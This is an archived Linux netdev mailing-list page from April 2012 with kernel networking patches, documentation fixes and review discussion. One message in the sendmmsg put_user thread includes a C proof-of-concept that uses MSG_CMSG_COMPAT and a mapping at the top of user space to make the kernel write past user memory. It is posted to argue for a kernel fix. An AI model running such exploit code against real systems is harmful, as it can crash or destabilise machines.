* Re: [PATCH net-next] rps: introduce a new sysctl switch rps_workaround_buggy_driver
From: Li Yu @ 2012-04-06 2:07 UTC (permalink / raw)
To: Eric Dumazet; +Cc: netdev
In-Reply-To: <1333624027.18626.579.camel@edumazet-glaptop>
于 2012年04月05日 19:07, Eric Dumazet 写道:
> On Thu, 2012-04-05 at 18:31 +0800, Li Yu wrote:
>> We encountered a buggy NIC driver or hardware/firmware, it keeps
>> non-zero constant skb->rxhash for long time, so if we enabled RPS,
>> the targeted CPU keeps same for long time too.
>>
>> This patch introduces a sysctl switch to workaround for such problem,
>> if the switch was on, RPS core discards the skb->rxhash that is
>> computed by NIC hardware.
>>
>> Hope this patch also can help others, thanks.
>
> Really ?
>
> to disable this driver rxhash, you should try :
>
> ethtool -K eth0 rxhash off
>
>
Great! I really did not know this new option ago,
and wrote a kprobe workaround module. It seem that
ethtool 2.6.39 have such support at least.
Thank you very much!
Yu
>
>
^ permalink raw reply
* Re: [PATCH] tcp: allow splice() to build full TSO packets
From: Eric Dumazet @ 2012-04-06 1:59 UTC (permalink / raw)
To: David Miller
Cc: netdev, ncardwell, therbert, ycheng, hkchu, maze, maheshb,
ilpo.jarvinen, nanditad
In-Reply-To: <20120405.190509.409578034793502486.davem@davemloft.net>
On Thu, 2012-04-05 at 19:05 -0400, David Miller wrote:
> From: Eric Dumazet <eric.dumazet@gmail.com>
> Date: Thu, 05 Apr 2012 15:05:35 +0200
>
> > Hmm, thinking again about this, I did more tests and it appears we need
> > to differentiate the SPLICE_F_MORE flag (user request) and the internal
> > marker provided by splice logic (handling a batch of pages)
> >
> > A program doing splice(... SPLICE_F_MORE) should really call tcp_push()
> > at the end of its work.
>
> This is the kind of problem I was hoping we weren't introducing
> when I asked about sendfile() et al. the other day :-)
Yes, sorry for this.
Yet sendfile() did not have this problem (or so I believe), only the
splice(SPLICE_F_MORE) did.
Thanks
^ permalink raw reply
* [PATCH] ath5k: Remove extraneous statements from ath5k_hw_proc_4word_tx_status and ath5k_hw_proc_2word_status.
From: Qasim Javed @ 2012-04-06 1:40 UTC (permalink / raw)
To: linux-wireless, ath5k-devel; +Cc: netdev, linux-kernel, Qasim Javed
Signed-off-by: Qasim Javed <qasimj@gmail.com>
---
drivers/net/wireless/ath/ath5k/desc.c | 4 ----
1 files changed, 0 insertions(+), 4 deletions(-)
diff --git a/drivers/net/wireless/ath/ath5k/desc.c b/drivers/net/wireless/ath/ath5k/desc.c
index f8bfa3a..97b92c3 100644
--- a/drivers/net/wireless/ath/ath5k/desc.c
+++ b/drivers/net/wireless/ath/ath5k/desc.c
@@ -441,10 +441,8 @@ ath5k_hw_proc_2word_tx_status(struct ath5k_hw *ah,
struct ath5k_desc *desc,
struct ath5k_tx_status *ts)
{
- struct ath5k_hw_2w_tx_ctl *tx_ctl;
struct ath5k_hw_tx_status *tx_status;
- tx_ctl = &desc->ud.ds_tx5210.tx_ctl;
tx_status = &desc->ud.ds_tx5210.tx_stat;
/* No frame has been send or error */
@@ -495,11 +493,9 @@ ath5k_hw_proc_4word_tx_status(struct ath5k_hw *ah,
struct ath5k_desc *desc,
struct ath5k_tx_status *ts)
{
- struct ath5k_hw_4w_tx_ctl *tx_ctl;
struct ath5k_hw_tx_status *tx_status;
u32 txstat0, txstat1;
- tx_ctl = &desc->ud.ds_tx5212.tx_ctl;
tx_status = &desc->ud.ds_tx5212.tx_stat;
txstat1 = ACCESS_ONCE(tx_status->tx_status_1);
--
1.7.8.2
^ permalink raw reply related
* Re: sendmmsg: put_user vs __put_user
From: David Miller @ 2012-04-06 1:01 UTC (permalink / raw)
To: luto; +Cc: drepper, netdev, linux-kernel
In-Reply-To: <4F7E3561.8000803@mit.edu>
From: Andy Lutomirski <luto@mit.edu>
Date: Thu, 05 Apr 2012 17:14:25 -0700
> On 03/30/2012 05:51 PM, David Miller wrote:
>> From: Ulrich Drepper <drepper@gmail.com>
>> Date: Fri, 30 Mar 2012 09:36:11 -0400
>>
>>> Shouldn't the compat code in the sendmmsg implementation use the same
>>> code as the normal code? In which case you probably want something
>>> like this:
>>
>> Compat processes are not able to generate virtual addresses anywhere
>> near the range where the kernel resides, so the address range
>> verification done by put_user() is completely superfluous and
>> therefore not necessary. The normal exception handling done by the
>> access is completely sufficient.
>
> I disagree. The following exploit causes a bogus page fault to a kernel
> address. I think this isn't exploitable right now on x86-64 because the
> page fault handler fixes it up, but I wouldn't be surprised if this
> crashes or at least warns on some architecture. (Actually trashing
> kernel memory is probably impossible with this on x86-64 chips because
> this can only overrun user space by four bytes, and there's a giant gap
> of impossible addresses above user space in x86-64.
I can guarentee this doesn't do anything on sparc64 either because
userspace is completely segregated from kernel space in a way that
every single foo_user() call cannot access kernel space no matter
what address it can trick into being passed there.
I still really don't see an issue with this, sorry.
^ permalink raw reply
* Re: [net-next 3/3] ixgbe: add syfs interface for to export read only driver information
From: David Miller @ 2012-04-06 0:59 UTC (permalink / raw)
To: mark.d.rustad
Cc: bhutchings, florian, jeffrey.t.kirsher, donald.c.skidmore, netdev,
gospo, sassmann
In-Reply-To: <81212BCD-D022-4B71-955A-96B6C8E2A5DC@intel.com>
From: "Rustad, Mark D" <mark.d.rustad@intel.com>
Date: Thu, 5 Apr 2012 23:52:40 +0000
> The redundancy with ethtool doesn't bother me much, because I think
> sysfs is a more general way to export driver information, and I find
> it very convenient to get as much as is practical from a single
> source. I really like doing "grep . * */*" in sysfs and getting as
> much information as possible about a driver.
That's not our position, we have flexible, extensible, interfaces
such as ethtool and netlink so that people don't get the urge
to toss random unnecessary junk into sysfs.
There are no damn APIs for what driver guys want to put into
sysfs, making it terrible from a user's perspective.
Whereas ethtool and netlink give you something consistent and
reliable.
Therefore there will be hard pushback on anything one tries to
export via sysfs, it is almost guarenteed that ethtool and
netlink fit the bill properly.
^ permalink raw reply
* [PATCH net-next 6/6] doc, net: Update ndo_start_xmit return type and values
From: Ben Hutchings @ 2012-04-06 0:40 UTC (permalink / raw)
To: David Miller; +Cc: netdev
In-Reply-To: <HEAD <1333672667.2652.22.camel@bwh-desktop.uk.solarflarecom.com>
Commit dc1f8bf68b311b1537cb65893430b6796118498a ('netdev: change
transmit to limited range type') changed the required return type and
9a1654ba0b50402a6bd03c7b0fe9b0200a5ea7b1 ('net: Optimize
hard_start_xmit() return checking') changed the valid numerical
return values.
Signed-off-by: Ben Hutchings <bhutchings@solarflare.com>
---
Documentation/networking/driver.txt | 22 ++++++++++++----------
1 files changed, 12 insertions(+), 10 deletions(-)
diff --git a/Documentation/networking/driver.txt b/Documentation/networking/driver.txt
index 2128e41..da59e28 100644
--- a/Documentation/networking/driver.txt
+++ b/Documentation/networking/driver.txt
@@ -2,16 +2,16 @@ Document about softnet driver issues
Transmit path guidelines:
-1) The ndo_start_xmit method must never return '1' under any
- normal circumstances. It is considered a hard error unless
+1) The ndo_start_xmit method must not return NETDEV_TX_BUSY under
+ any normal circumstances. It is considered a hard error unless
there is no way your device can tell ahead of time when it's
transmit function will become busy.
Instead it must maintain the queue properly. For example,
for a driver implementing scatter-gather this means:
- static int drv_hard_start_xmit(struct sk_buff *skb,
- struct net_device *dev)
+ static netdev_tx_t drv_hard_start_xmit(struct sk_buff *skb,
+ struct net_device *dev)
{
struct drv *dp = netdev_priv(dev);
@@ -23,7 +23,7 @@ Transmit path guidelines:
unlock_tx(dp);
printk(KERN_ERR PFX "%s: BUG! Tx Ring full when queue awake!\n",
dev->name);
- return 1;
+ return NETDEV_TX_BUSY;
}
... queue packet to card ...
@@ -35,6 +35,7 @@ Transmit path guidelines:
...
unlock_tx(dp);
...
+ return NETDEV_TX_OK;
}
And then at the end of your TX reclamation event handling:
@@ -61,9 +62,9 @@ Transmit path guidelines:
2) An ndo_start_xmit method must not modify the shared parts of a
cloned SKB.
-3) Do not forget that once you return 0 from your ndo_start_xmit
- method, it is your driver's responsibility to free up the SKB
- and in some finite amount of time.
+3) Do not forget that once you return NETDEV_TX_OK from your
+ ndo_start_xmit method, it is your driver's responsibility to free
+ up the SKB and in some finite amount of time.
For example, this means that it is not allowed for your TX
mitigation scheme to let TX packets "hang out" in the TX
@@ -71,8 +72,9 @@ Transmit path guidelines:
This error can deadlock sockets waiting for send buffer room
to be freed up.
- If you return 1 from the ndo_start_xmit method, you must not keep
- any reference to that SKB and you must not attempt to free it up.
+ If you return NETDEV_TX_BUSY from the ndo_start_xmit method, you
+ must not keep any reference to that SKB and you must not attempt
+ to free it up.
Probing guidelines:
--
1.7.7.6
--
Ben Hutchings, Staff Engineer, Solarflare
Not speaking for my employer; that's the marketing department's job.
They asked us to note that Solarflare product names are trademarked.
^ permalink raw reply related
* [PATCH net-next 5/6] doc, net: Remove instruction to set net_device::trans_start
From: Ben Hutchings @ 2012-04-06 0:40 UTC (permalink / raw)
To: David Miller; +Cc: netdev
In-Reply-To: <HEAD <1333672667.2652.22.camel@bwh-desktop.uk.solarflarecom.com>
Commit 08baf561083bc27a953aa087dd8a664bb2b88e8e ('net:
txq_trans_update() helper') made it unnecessary for most drivers to
set net_device::trans_start (or netdev_queue::trans_start).
Signed-off-by: Ben Hutchings <bhutchings@solarflare.com>
---
Documentation/networking/driver.txt | 7 ++-----
1 files changed, 2 insertions(+), 5 deletions(-)
diff --git a/Documentation/networking/driver.txt b/Documentation/networking/driver.txt
index 83ce060..2128e41 100644
--- a/Documentation/networking/driver.txt
+++ b/Documentation/networking/driver.txt
@@ -58,13 +58,10 @@ Transmit path guidelines:
TX_BUFFS_AVAIL(dp) > 0)
netif_wake_queue(dp->dev);
-2) Do not forget to update netdev->trans_start to jiffies after
- each new tx packet is given to the hardware.
-
-3) An ndo_start_xmit method must not modify the shared parts of a
+2) An ndo_start_xmit method must not modify the shared parts of a
cloned SKB.
-4) Do not forget that once you return 0 from your ndo_start_xmit
+3) Do not forget that once you return 0 from your ndo_start_xmit
method, it is your driver's responsibility to free up the SKB
and in some finite amount of time.
--
1.7.7.6
--
Ben Hutchings, Staff Engineer, Solarflare
Not speaking for my employer; that's the marketing department's job.
They asked us to note that Solarflare product names are trademarked.
^ permalink raw reply related
* [PATCH net-next 4/6] doc, net: Update netdev operation names
From: Ben Hutchings @ 2012-04-06 0:39 UTC (permalink / raw)
To: David Miller; +Cc: netdev
In-Reply-To: <HEAD <1333672667.2652.22.camel@bwh-desktop.uk.solarflarecom.com>
Commits d314774cf2cd5dfeb39a00d37deee65d4c627927 ('netdev: network
device operations infrastructure') and
008298231abbeb91bc7be9e8b078607b816d1a4a ('netdev: add more functions
to netdevice ops') moved and renamed net device operation pointers.
Signed-off-by: Ben Hutchings <bhutchings@solarflare.com>
---
Documentation/networking/driver.txt | 12 ++++++------
Documentation/networking/netdevices.txt | 16 ++++++++--------
2 files changed, 14 insertions(+), 14 deletions(-)
diff --git a/Documentation/networking/driver.txt b/Documentation/networking/driver.txt
index 03283da..83ce060 100644
--- a/Documentation/networking/driver.txt
+++ b/Documentation/networking/driver.txt
@@ -2,7 +2,7 @@ Document about softnet driver issues
Transmit path guidelines:
-1) The hard_start_xmit method must never return '1' under any
+1) The ndo_start_xmit method must never return '1' under any
normal circumstances. It is considered a hard error unless
there is no way your device can tell ahead of time when it's
transmit function will become busy.
@@ -61,10 +61,10 @@ Transmit path guidelines:
2) Do not forget to update netdev->trans_start to jiffies after
each new tx packet is given to the hardware.
-3) A hard_start_xmit method must not modify the shared parts of a
+3) An ndo_start_xmit method must not modify the shared parts of a
cloned SKB.
-4) Do not forget that once you return 0 from your hard_start_xmit
+4) Do not forget that once you return 0 from your ndo_start_xmit
method, it is your driver's responsibility to free up the SKB
and in some finite amount of time.
@@ -74,7 +74,7 @@ Transmit path guidelines:
This error can deadlock sockets waiting for send buffer room
to be freed up.
- If you return 1 from the hard_start_xmit method, you must not keep
+ If you return 1 from the ndo_start_xmit method, you must not keep
any reference to that SKB and you must not attempt to free it up.
Probing guidelines:
@@ -85,10 +85,10 @@ Probing guidelines:
Close/stop guidelines:
-1) After the dev->stop routine has been called, the hardware must
+1) After the ndo_stop routine has been called, the hardware must
not receive or transmit any data. All in flight packets must
be aborted. If necessary, poll or wait for completion of
any reset commands.
-2) The dev->stop routine will be called by unregister_netdevice
+2) The ndo_stop routine will be called by unregister_netdevice
if device is still UP.
diff --git a/Documentation/networking/netdevices.txt b/Documentation/networking/netdevices.txt
index b107733..c7ecc70 100644
--- a/Documentation/networking/netdevices.txt
+++ b/Documentation/networking/netdevices.txt
@@ -47,24 +47,24 @@ packets is preferred.
struct net_device synchronization rules
=======================================
-dev->open:
+ndo_open:
Synchronization: rtnl_lock() semaphore.
Context: process
-dev->stop:
+ndo_stop:
Synchronization: rtnl_lock() semaphore.
Context: process
Note: netif_running() is guaranteed false
-dev->do_ioctl:
+ndo_do_ioctl:
Synchronization: rtnl_lock() semaphore.
Context: process
-dev->get_stats:
+ndo_get_stats:
Synchronization: dev_base_lock rwlock.
Context: nominally process, but don't sleep inside an rwlock
-dev->hard_start_xmit:
+ndo_start_xmit:
Synchronization: __netif_tx_lock spinlock.
When the driver sets NETIF_F_LLTX in dev->features this will be
@@ -86,12 +86,12 @@ dev->hard_start_xmit:
o NETDEV_TX_LOCKED Locking failed, please retry quickly.
Only valid when NETIF_F_LLTX is set.
-dev->tx_timeout:
+ndo_tx_timeout:
Synchronization: netif_tx_lock spinlock; all TX queues frozen.
Context: BHs disabled
Notes: netif_queue_stopped() is guaranteed true
-dev->set_rx_mode:
+ndo_set_rx_mode:
Synchronization: netif_addr_lock spinlock.
Context: BHs disabled
@@ -99,7 +99,7 @@ struct napi_struct synchronization rules
========================================
napi->poll:
Synchronization: NAPI_STATE_SCHED bit in napi->state. Device
- driver's dev->close method will invoke napi_disable() on
+ driver's ndo_stop method will invoke napi_disable() on
all NAPI instances which will do a sleeping poll on the
NAPI_STATE_SCHED napi->state bit, waiting for all pending
NAPI activity to cease.
--
1.7.7.6
--
Ben Hutchings, Staff Engineer, Solarflare
Not speaking for my employer; that's the marketing department's job.
They asked us to note that Solarflare product names are trademarked.
^ permalink raw reply related
* [PATCH net-next 3/6] doc, net: Update documentation of synchronisation for TX multiqueue
From: Ben Hutchings @ 2012-04-06 0:39 UTC (permalink / raw)
To: David Miller; +Cc: netdev
In-Reply-To: <HEAD <1333672667.2652.22.camel@bwh-desktop.uk.solarflarecom.com>
Commits e308a5d806c852f56590ffdd3834d0df0cbed8d7 ('netdev: Add
netdev->addr_list_lock protection.') and
e8a0464cc950972824e2e128028ae3db666ec1ed ('netdev: Allocate multiple
queues for TX.') introduced more fine-grained locks.
Signed-off-by: Ben Hutchings <bhutchings@solarflare.com>
---
Documentation/networking/netdevices.txt | 6 +++---
1 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/Documentation/networking/netdevices.txt b/Documentation/networking/netdevices.txt
index 336fe8e..b107733 100644
--- a/Documentation/networking/netdevices.txt
+++ b/Documentation/networking/netdevices.txt
@@ -65,7 +65,7 @@ dev->get_stats:
Context: nominally process, but don't sleep inside an rwlock
dev->hard_start_xmit:
- Synchronization: netif_tx_lock spinlock.
+ Synchronization: __netif_tx_lock spinlock.
When the driver sets NETIF_F_LLTX in dev->features this will be
called without holding netif_tx_lock. In this case the driver
@@ -87,12 +87,12 @@ dev->hard_start_xmit:
Only valid when NETIF_F_LLTX is set.
dev->tx_timeout:
- Synchronization: netif_tx_lock spinlock.
+ Synchronization: netif_tx_lock spinlock; all TX queues frozen.
Context: BHs disabled
Notes: netif_queue_stopped() is guaranteed true
dev->set_rx_mode:
- Synchronization: netif_tx_lock spinlock.
+ Synchronization: netif_addr_lock spinlock.
Context: BHs disabled
struct napi_struct synchronization rules
--
1.7.7.6
--
Ben Hutchings, Staff Engineer, Solarflare
Not speaking for my employer; that's the marketing department's job.
They asked us to note that Solarflare product names are trademarked.
^ permalink raw reply related
* [PATCH net-next 2/6] doc, net: Remove obsolete reference to dev->poll
From: Ben Hutchings @ 2012-04-06 0:39 UTC (permalink / raw)
To: David Miller; +Cc: netdev
In-Reply-To: <HEAD <1333672667.2652.22.camel@bwh-desktop.uk.solarflarecom.com>
Commit bea3348eef27e6044b6161fd04c3152215f96411 ('[NET]: Make NAPI
polling independent of struct net_device objects.') removed the
automatic disabling of NAPI polling by dev_close(), and drivers
must now do this themselves.
Signed-off-by: Ben Hutchings <bhutchings@solarflare.com>
---
Documentation/networking/netdevices.txt | 3 +--
1 files changed, 1 insertions(+), 2 deletions(-)
diff --git a/Documentation/networking/netdevices.txt b/Documentation/networking/netdevices.txt
index 8935834..336fe8e 100644
--- a/Documentation/networking/netdevices.txt
+++ b/Documentation/networking/netdevices.txt
@@ -54,8 +54,7 @@ dev->open:
dev->stop:
Synchronization: rtnl_lock() semaphore.
Context: process
- Note1: netif_running() is guaranteed false
- Note2: dev->poll() is guaranteed to be stopped
+ Note: netif_running() is guaranteed false
dev->do_ioctl:
Synchronization: rtnl_lock() semaphore.
--
1.7.7.6
--
Ben Hutchings, Staff Engineer, Solarflare
Not speaking for my employer; that's the marketing department's job.
They asked us to note that Solarflare product names are trademarked.
^ permalink raw reply related
* [PATCH net-next 1/6] ethtool: Remove exception to the requirement of holding RTNL lock
From: Ben Hutchings @ 2012-04-06 0:38 UTC (permalink / raw)
To: David Miller; +Cc: netdev
In-Reply-To: <HEAD <1333672667.2652.22.camel@bwh-desktop.uk.solarflarecom.com>
Commit e52ac3398c3d772d372b9b62ab408fd5eec96840 ('net: Use device
model to get driver name in skb_gso_segment()') removed the only
in-tree caller of ethtool ops that doesn't hold the RTNL lock.
Signed-off-by: Ben Hutchings <bhutchings@solarflare.com>
---
include/linux/ethtool.h | 3 +--
1 files changed, 1 insertions(+), 2 deletions(-)
diff --git a/include/linux/ethtool.h b/include/linux/ethtool.h
index 560a247..89d68d8 100644
--- a/include/linux/ethtool.h
+++ b/include/linux/ethtool.h
@@ -923,8 +923,7 @@ static inline u32 ethtool_rxfh_indir_default(u32 index, u32 n_rx_rings)
*
* All operations are optional (i.e. the function pointer may be set
* to %NULL) and callers must take this into account. Callers must
- * hold the RTNL, except that for @get_drvinfo the caller may or may
- * not hold the RTNL.
+ * hold the RTNL lock.
*
* See the structures used by these operations for further documentation.
*
--
1.7.7.6
--
Ben Hutchings, Staff Engineer, Solarflare
Not speaking for my employer; that's the marketing department's job.
They asked us to note that Solarflare product names are trademarked.
^ permalink raw reply related
* [PATCH net-next 0/6] Documentation fixes
From: Ben Hutchings @ 2012-04-06 0:37 UTC (permalink / raw)
To: David Miller; +Cc: netdev
These changes update Documentation/networking/driver.txt and
Documentation/networking/netdevices.txt to reflect the last 5 or so
years of API changes (though no new features are documented).
They also remove documentation of a wrinkle in ethtool_ops that I
recently fixed.
These could safely be applied to either net or net-next; they can't
break anything but another 3 months of dust isn't going to make much
difference.
Ben.
Ben Hutchings (6):
ethtool: Remove exception to the requirement of holding RTNL lock
doc, net: Remove obsolete reference to dev->poll
doc, net: Update documentation of synchronisation for TX multiqueue
doc, net: Update netdev operation names
doc, net: Remove instruction to set net_device::trans_start
doc, net: Update ndo_start_xmit return type and values
Documentation/networking/driver.txt | 31 +++++++++++++++----------------
Documentation/networking/netdevices.txt | 25 ++++++++++++-------------
include/linux/ethtool.h | 3 +--
3 files changed, 28 insertions(+), 31 deletions(-)
--
1.7.7.6
--
Ben Hutchings, Staff Engineer, Solarflare
Not speaking for my employer; that's the marketing department's job.
They asked us to note that Solarflare product names are trademarked.
^ permalink raw reply
* Re: sendmmsg: put_user vs __put_user
From: Andy Lutomirski @ 2012-04-06 0:14 UTC (permalink / raw)
To: David Miller; +Cc: drepper, netdev, linux-kernel
In-Reply-To: <20120330.205120.2221145622131588797.davem@davemloft.net>
On 03/30/2012 05:51 PM, David Miller wrote:
> From: Ulrich Drepper <drepper@gmail.com>
> Date: Fri, 30 Mar 2012 09:36:11 -0400
>
>> Shouldn't the compat code in the sendmmsg implementation use the same
>> code as the normal code? In which case you probably want something
>> like this:
>
> Compat processes are not able to generate virtual addresses anywhere
> near the range where the kernel resides, so the address range
> verification done by put_user() is completely superfluous and
> therefore not necessary. The normal exception handling done by the
> access is completely sufficient.
I disagree. The following exploit causes a bogus page fault to a kernel
address. I think this isn't exploitable right now on x86-64 because the
page fault handler fixes it up, but I wouldn't be surprised if this
crashes or at least warns on some architecture. (Actually trashing
kernel memory is probably impossible with this on x86-64 chips because
this can only overrun user space by four bytes, and there's a giant gap
of impossible addresses above user space in x86-64.
Compile as 64 bit code. Tested by instrumenting the page fault handler.
/* Not quite working exploit. Copyright (c) 2012 Andy Lutomirski. */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <string.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdio.h>
#define COMPAT_MSGHDR_SIZE 28
#define TASK_SIZE_MAX ((1UL << 47) - 4096)
#define MSG_CMSG_COMPAT 0x80000000
int main()
{
int s;
struct sockaddr_in addr;
struct msghdr *hdr;
char *highpage = mmap((void*)(TASK_SIZE_MAX - 4096), 4096,
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
-1, 0);
if (highpage == MAP_FAILED) {
perror("mmap");
return 1;
}
s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (s == -1) {
perror("socket");
return 1;
}
addr.sin_family = AF_INET;
addr.sin_port = htons(1);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) != 0) {
perror("connect");
return 1;
}
void *evil = highpage + 4096 - COMPAT_MSGHDR_SIZE;
printf("Evil address is %p\n", evil);
// Purely for illustration.
if (sendmsg(s, evil, MSG_CMSG_COMPAT) < 0) {
perror("sendmsg");
return 1;
}
memset(highpage, 0, 4096);
{
int tmp;
socklen_t sz;
getsockopt(s, SOL_SOCKET, SO_ERROR, &tmp, &sz);
}
if (syscall(__NR_sendmmsg, s, evil, 1, MSG_CMSG_COMPAT) < 0) {
perror("sendmmsg");
return 1;
}
return 0;
}
^ permalink raw reply
* Re: [net-next 3/3] ixgbe: add syfs interface for to export read only driver information
From: Rustad, Mark D @ 2012-04-05 23:52 UTC (permalink / raw)
To: Ben Hutchings
Cc: Florian Fainelli, Kirsher, Jeffrey T, <davem@davemloft.net>,
Skidmore, Donald C, <netdev@vger.kernel.org>,
<gospo@redhat.com>, <sassmann@redhat.com>
In-Reply-To: <1333643525.2652.10.camel@bwh-desktop.uk.solarflarecom.com>
On Apr 5, 2012, at 9:32 AM, Ben Hutchings wrote:
> On Thu, 2012-04-05 at 14:19 +0200, Florian Fainelli wrote:
>> Hi,
>>
>> Le 04/05/12 12:47, Jeff Kirsher a écrit :
>>> From: Don Skidmore<donald.c.skidmore@intel.com>
>>>
>>> This patch exports non-thermal (which was done via hwmon in an earlier
>>> patch) data to syfs. All of the fields are read only as this interface
>>> is to only export driver data.
>>>
>>> Signed-off-by: Don Skidmore<donald.c.skidmore@intel.com>
>>> Tested-by: Stephen Ko<stephen.s.ko@intel.com>
>>> Signed-off-by: Jeff Kirsher<jeffrey.t.kirsher@intel.com>
>>> ---
>>
>> I only looked briefly at the exported attributes, but most of them can
>> already be queried using ethtool, can't they?
> [...]
>
> I agree, it looks like most of these are:
>
> (1) already exposed through ethtool commands (ETHTOOL_GSET,
> ETHTOOL_GDRVINFO, ETHTOOL_GLINK and ETHTOOL_GPERMADDR), or
> (2) already exposed through rtnetlink or the net device in sysfs, or
> (3) statistics that should be exposed through ETHTOOL_GSTATS
>
> I imagine there are some that don't fall into those categories, but I
> don't see why they should *all* be exposed in a non-standard and/or
> redundant way.
The redundancy with ethtool doesn't bother me much, because I think sysfs is a more general way to export driver information, and I find it very convenient to get as much as is practical from a single source. I really like doing "grep . * */*" in sysfs and getting as much information as possible about a driver.
That said, there does appear to be duplication with some existing sysfs statistics, which should not be needed, and I think the volume of code in the implementation can be reduced as well.
--
Mark Rustad, LAN Access Division, Intel Corporation
^ permalink raw reply
* Re: net: kernel BUG() in net/netns/generic.h:45
From: Eric W. Biederman @ 2012-04-05 23:53 UTC (permalink / raw)
To: Sasha Levin
Cc: davem, Eric Dumazet, Eric Van Hensbergen, Dave Jones,
linux-kernel, netdev
In-Reply-To: <1333664446.3538.12.camel@lappy>
Sasha Levin <levinsasha928@gmail.com> writes:
> Hi all,
>
> When an initialization of a network namespace in setup_net() fails, we
> try to undo everything by executing each of the exit callbacks of every
> namespace in the network.
>
> The problem is, it might be possible that the net_generic array wasn't
> initialized before we fail and try to undo everything. At that point,
> some of the networks assume that since we're already calling the exit
> callback, the net_generic structure is initialized and we hit the BUG()
> in net/netns/generic.h:45 .
>
> I'm not quite sure whether the right fix from the following three
> options is, and would be happy to figure it out before fixing it:
>
> 1. Don't assume net_generic was initialized in the exit callback, which
> is a bit problematic since we can't query that nicely anyway (a
> sub-option here would be adding an API to query whether the net_generic
> structure is initialized.
>
> 2. Remove the BUG(), switch it to a WARN() and let each subsystem
> handle the case of NULL on it's own. While it sounds a bit wrong, it's
> worth mentioning that that BUG() was initially added in an attempt to
> fix an issue in CAIF, which was fixed in a completely different way
> afterwards, so it's not strictly necessary here.
>
> 3. Only call the exit callback for subsystems we have called the init
> callback for.
Your option 3 only calling the exit callbacks for subsystems we have
initialized should be what is implemented. Certainly it looks like we
are attempting to only call the exit callbacks for code whose init
callback has succeeded.
What problem are you seeing?
This smells suspiciously like a problem we had a little while ago caif
was registering as a pernet device instead of a pernet subsystem,
and because of that we had packets flying around after it had been
unregistered and was trying access it's net_generic data.
commit 8a8ee9aff6c3077dd9c2c7a77478e8ed362b96c6
Author: Eric W. Biederman <ebiederm@xmission.com>
Date: Thu Jan 26 14:04:53 2012 +0000
net caif: Register properly as a pernet subsystem.
caif is a subsystem and as such it needs to register with
register_pernet_subsys instead of register_pernet_device.
Among other problems using register_pernet_device was resulting in
net_generic being called before the caif_net structure was allocated.
Which has been causing net_generic to fail with either BUG_ON's or by
return NULL pointers.
A more ugly problem that could be caused is packets in flight why the
subsystem is shutting down.
To remove confusion also remove the cruft cause by inappropriately
trying to fix this bug.
With the aid of the previous patch I have tested this patch and
confirmed that using register_pernet_subsys makes the failure go away as
it should.
Signed-off-by: Eric W. Biederman <ebiederm@xmission.com>
Acked-by: Sjur Brændeland <sjur.brandeland@stericsson.com>
Tested-by: Sasha Levin <levinsasha928@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Eric
^ permalink raw reply
* [PATCH] netfilter: ipvs: Verify that IP_VS protocol has been registered
From: Sasha Levin @ 2012-04-05 23:24 UTC (permalink / raw)
To: wensong, horms, ja, kaber, davem
Cc: davej, netdev, lvs-devel, netfilter-devel, linux-kernel,
Sasha Levin
The registration of a protocol might fail, there were no checks
and all registrations were assumed to be correct. This lead to
NULL ptr dereferences when apps tried registering.
For example:
[ 1293.226051] BUG: unable to handle kernel NULL pointer dereference at 0000000000000018
[ 1293.227038] IP: [<ffffffff822aacb0>] tcp_register_app+0x60/0xb0
[ 1293.227038] PGD 391de067 PUD 6c20b067 PMD 0
[ 1293.227038] Oops: 0000 [#1] PREEMPT SMP
[ 1293.227038] CPU 1
[ 1293.227038] Pid: 19609, comm: trinity Tainted: G W 3.4.0-rc1-next-20120405-sasha-dirty #57
[ 1293.227038] RIP: 0010:[<ffffffff822aacb0>] [<ffffffff822aacb0>] tcp_register_app+0x60/0xb0
[ 1293.227038] RSP: 0018:ffff880038c1dd18 EFLAGS: 00010286
[ 1293.227038] RAX: ffffffffffffffc0 RBX: 0000000000001500 RCX: 0000000000010000
[ 1293.227038] RDX: 0000000000000000 RSI: ffff88003a2d5888 RDI: 0000000000000282
[ 1293.227038] RBP: ffff880038c1dd48 R08: 0000000000000000 R09: 0000000000000000
[ 1293.227038] R10: 0000000000000000 R11: 0000000000000000 R12: ffff88003a2d5668
[ 1293.227038] R13: ffff88003a2d5988 R14: ffff8800696a8ff8 R15: 0000000000000000
[ 1293.227038] FS: 00007f01930d9700(0000) GS:ffff88007ce00000(0000) knlGS:0000000000000000
[ 1293.227038] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[ 1293.227038] CR2: 0000000000000018 CR3: 0000000065dfc000 CR4: 00000000000406e0
[ 1293.227038] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 1293.227038] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[ 1293.227038] Process trinity (pid: 19609, threadinfo ffff880038c1c000, task ffff88002dc73000)
[ 1293.227038] Stack:
[ 1293.227038] ffff880038c1dd48 00000000fffffff4 ffff8800696aada0 ffff8800694f5580
[ 1293.227038] ffffffff8369f1e0 0000000000001500 ffff880038c1dd98 ffffffff822a716b
[ 1293.227038] 0000000000000000 ffff8800696a8ff8 0000000000000015 ffff8800694f5580
[ 1293.227038] Call Trace:
[ 1293.227038] [<ffffffff822a716b>] ip_vs_app_inc_new+0xdb/0x180
[ 1293.227038] [<ffffffff822a7258>] register_ip_vs_app_inc+0x48/0x70
[ 1293.227038] [<ffffffff822b2fea>] __ip_vs_ftp_init+0xba/0x140
[ 1293.227038] [<ffffffff821c9060>] ops_init+0x80/0x90
[ 1293.227038] [<ffffffff821c90cb>] setup_net+0x5b/0xe0
[ 1293.227038] [<ffffffff821c9416>] copy_net_ns+0x76/0x100
[ 1293.227038] [<ffffffff810dc92b>] create_new_namespaces+0xfb/0x190
[ 1293.227038] [<ffffffff810dca21>] unshare_nsproxy_namespaces+0x61/0x80
[ 1293.227038] [<ffffffff810afd1f>] sys_unshare+0xff/0x290
[ 1293.227038] [<ffffffff8187622e>] ? trace_hardirqs_on_thunk+0x3a/0x3f
[ 1293.227038] [<ffffffff82665539>] system_call_fastpath+0x16/0x1b
